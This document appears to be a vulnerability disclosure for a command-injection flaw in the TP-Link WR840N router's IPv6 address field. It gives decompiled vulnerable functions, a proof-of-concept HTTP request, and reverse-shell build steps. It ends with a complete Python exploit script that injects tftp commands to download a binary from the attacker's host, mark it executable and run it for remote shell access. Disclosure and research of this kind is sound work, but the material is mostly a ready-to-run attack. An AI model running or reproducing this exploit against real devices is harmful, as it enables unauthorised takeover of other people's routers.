This Vulnerability is discovered under the library module called libcmm.so , which processes parameters that are sent from the web server. These parameters although validated only under a request size of size 40 for the case of the X_TP_ExternalIPv6Address argument, at the character level there is no real validation filter in compliance with the input of a real ipv6 address.

then it can identify the vulnerable code segment, which receives the parameters directly without being sanitized.

undefined4 oal_wan6_setIpAddr(undefined4 param_1,undefined4 param_2,undefined4 param_3)

{
  util_execSystem("oal_wan6_setIpAddr","ifconfig %s add %s/%d",param_2,param_1,param_3);
  return 0;
}

The vulnerable function is called from the rsl_setDsliteObject object, a memory reservation of size 0x28 or 40 bytes is made, finally it is passed to the function oal_wan6_setIpAddr.

int rsl_setDsliteObj(undefined4 param_1,int param_2)

{
  int iVar1;
  int iVar2;
  undefined2 local_a0;
  undefined2 local_9e;
  undefined2 local_9c;
  undefined2 local_9a;
  undefined2 local_98;
  undefined2 local_96;
  undefined2 local_94;
  undefined auStack144 [40];
  undefined auStack104 [8];
  char local_60;
  char local_50;
  char local_4f [63];
  
  local_a0 = 0;
  local_9e = 0;
  local_9c = 0;
  local_9a = 0;
  local_98 = 0;
  local_96 = 0;
  local_94 = 0;
  memset(auStack144,0,0x28);
  iVar1 = rsl_getObj(0x87,&local_a0,0x54,auStack104);
  if (iVar1 == 0) {
    if ((*(char *)(param_2 + 2) == '\\0') || (local_50 == '\\0')) {
      oal_dslite_delTunnel();
    }
    else {
      if ((*(char *)(param_2 + 4) != '\\0') &&
         (iVar2 = util_netChkColonIp6Addr(param_2 + 4), iVar2 == 0)) {
        cdbg_printf(8,"rsl_setDsliteObj",0x1d1,"DSLITE Remote IPv6 Address is invalid(%s)!",
                    param_2 + 4);
        return 1;
      }
      **cstr_strncpy(auStack144,local_4f,0x28);**
      if ((((local_50 == '\\x01') && (*(char *)(param_2 + 4) != '\\0')) && (local_60 != '\\0')) &&
         (local_4f[0] != '\\0')) {
        oal_dslite_delTunnel();
        oal_dslite_addTunnel(param_2 + 4,auStack144);
        **oal_wan6_setIpAddr(auStack144,"dslite",0x40);**
        oal_dslite_setRoute("dslite",1);
      }
    }
  }
  else {
    cdbg_printf(8,"rsl_setDsliteObj",0x1c2,"Get IPv6 Tunnel object data failed. ret = %d",iVar1);
  }
  return iVar1;
}

Finally the steps for remote code execution should be as follows:

  1. the payload must not exceed a size of 40 bytes, which requires several requests to be sent for a successful shell operation.
  2. the router only has the tftp binary to download files, so since there is no memory corruption exploit but command injection, you must use the binaries provided by the router.
  3. you must compile a shellcode in c, making use of the MIPSLE architecture.
  4. finally invoke the command string for remote code execution.

You can check the command injection by sending the following payload over the injectable field.

X_TP_ExternalIPv6Address=`cat /proc/version > /var/tmp/ver`
POST /cgi?2&2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 617
Origin: <http://192.168.0.1>
Connection: close
Referer: <http://192.168.0.1/mainFrame.htm>
Cookie: Authorization=Basic YWRtaW46YWRtaW4=

[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,2
X_TP_lastUsedIntf=ipoe_eth3_s
X_TP_lastUsedName=ewan_ipoe_s
[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,18
externalIPAddress=172.26.26.2
subnetMask=255.255.255.0
defaultGateway=172.26.26.1
NATEnabled=1
X_TP_FullconeNATEnabled=0
X_TP_FirewallEnabled=1
maxMTUSize=1500
DNSOverrideAllowed=1
DNSServers=1.1.1.1,8.8.8.8
X_TP_IPv4Enabled=0
X_TP_IPv6Enabled=1
X_TP_IPv6AddressingType=Static
X_TP_ExternalIPv6Address=**`cat /proc/version > /var/tmp/ver`**
X_TP_PrefixLength=128
X_TP_DefaultIPv6Gateway=::
X_TP_IPv6DNSOverrideAllowed=1
X_TP_IPv6DNSServers=::,::
enable=1

Captura de Pantalla 2021-12-10 a la(s) 6.12.05 p.m..png

compile a reverse shell using the buildroot toolchain to gain control of the device.

copy the binary on your attacking machine in tftpserver, on mac it would be copy it to /private/tftpboot

finally run the exploit and obtain shell

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Author: Samir Sanchez Garnica and Luis Jacome Valencia
# Description: This script exploits a remote command execution vulnerability in the TPLink WR840N router, using the IPv6 protocol.

import requests
import base64
import argparse

class RCE():
    def __init__(self, ip, command, username, password):
        self.ip = ip
        self.command = command
        self.username = username
        self.password = password
        self.session = requests.Session()
    
    def base64_encode(self, s):
        msg_bytes = s.encode('ascii')
        return base64.b64encode(msg_bytes)

    def exploit(self):
        # Building the malicious packet
        self.url = "http://" + self.ip + "/cgi?2&2"
        self.proxyes = {}
        self.payload = '[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,2\\r\\nX_TP_lastUsedIntf=ipoe_eth3_s\\r\\nX_TP_lastUsedName=ewan_ipoe_s\\r\\n[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,18\\r\\nexternalIPAddress=172.26.26.2\\r\\nsubnetMask=255.255.255.0\\r\\ndefaultGateway=172.26.26.1\\r\\nNATEnabled=1\\r\\nX_TP_FullconeNATEnabled=0\\r\\nX_TP_FirewallEnabled=1\\r\\nmaxMTUSize=1500\\r\\nDNSOverrideAllowed=1\\r\\nDNSServers=1.1.1.1,8.8.8.8\\r\\nX_TP_IPv4Enabled=0\\r\\nX_TP_IPv6Enabled=1\\r\\nX_TP_IPv6AddressingType=Static\\r\\nX_TP_ExternalIPv6Address=`'+str(self.command)+'`\\r\\nX_TP_PrefixLength=128\\r\\nX_TP_DefaultIPv6Gateway=::\\r\\nX_TP_IPv6DNSOverrideAllowed=1\\r\\nX_TP_IPv6DNSServers=::,::\\r\\nenable=1\\r\\n'
    
        self.headers = {
            'Host': self.ip,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0',
            'Accept': '*/*',
            'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'text/plain',
            'Content-Length': 'str(len(self.payload))',
            'Origin': 'http://'+str(self.ip),
            'Referer': 'http://'+str(self.ip)+'/mainFrame.htm',
        }
        
        self.cookies = { 'Authorization' : 'Basic ' + self.base64_encode(self.username + ":" + self.password).decode('ascii') }
        
        self.response = self.session.post(self.url, headers=self.headers, cookies=self.cookies, data=self.payload, proxies=self.proxyes, timeout=10)
        

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--username", dest="username", help="Enter the administrator user of the router", required=True)
    parser.add_argument("--password", dest="password", help="Enter the admin password of the router", required=True)
    parser.add_argument("--target", dest="target", help="Enter router ip address", required=True)
    parser.add_argument("--lhost", dest="lhost", help="Enter your lhost server tfpt", required=True)
    parser.add_argument("--lport", dest="lport", help="Enter your lport received your connection", required=True)
    args = parser.parse_args()
    
    if args.username and args.password and args.target and args.lhost and args.lport:
        commands = ['tftp -g -r s -l/var/tmp/r {}'.format(args.lhost), 'chmod +x /var/tmp/r', '/var/tmp/r &']
        
        for com in commands:
            rce = RCE(args.target, com, args.username, args.password)
            rce.exploit()
            print("[+] Exploiting stage " + str(com))

if __name__ == "__main__":
    main()

Captura de Pantalla 2021-12-10 a la(s) 6.12.27 p.m..png

rce_tplink_wr840n_ipv6.mp4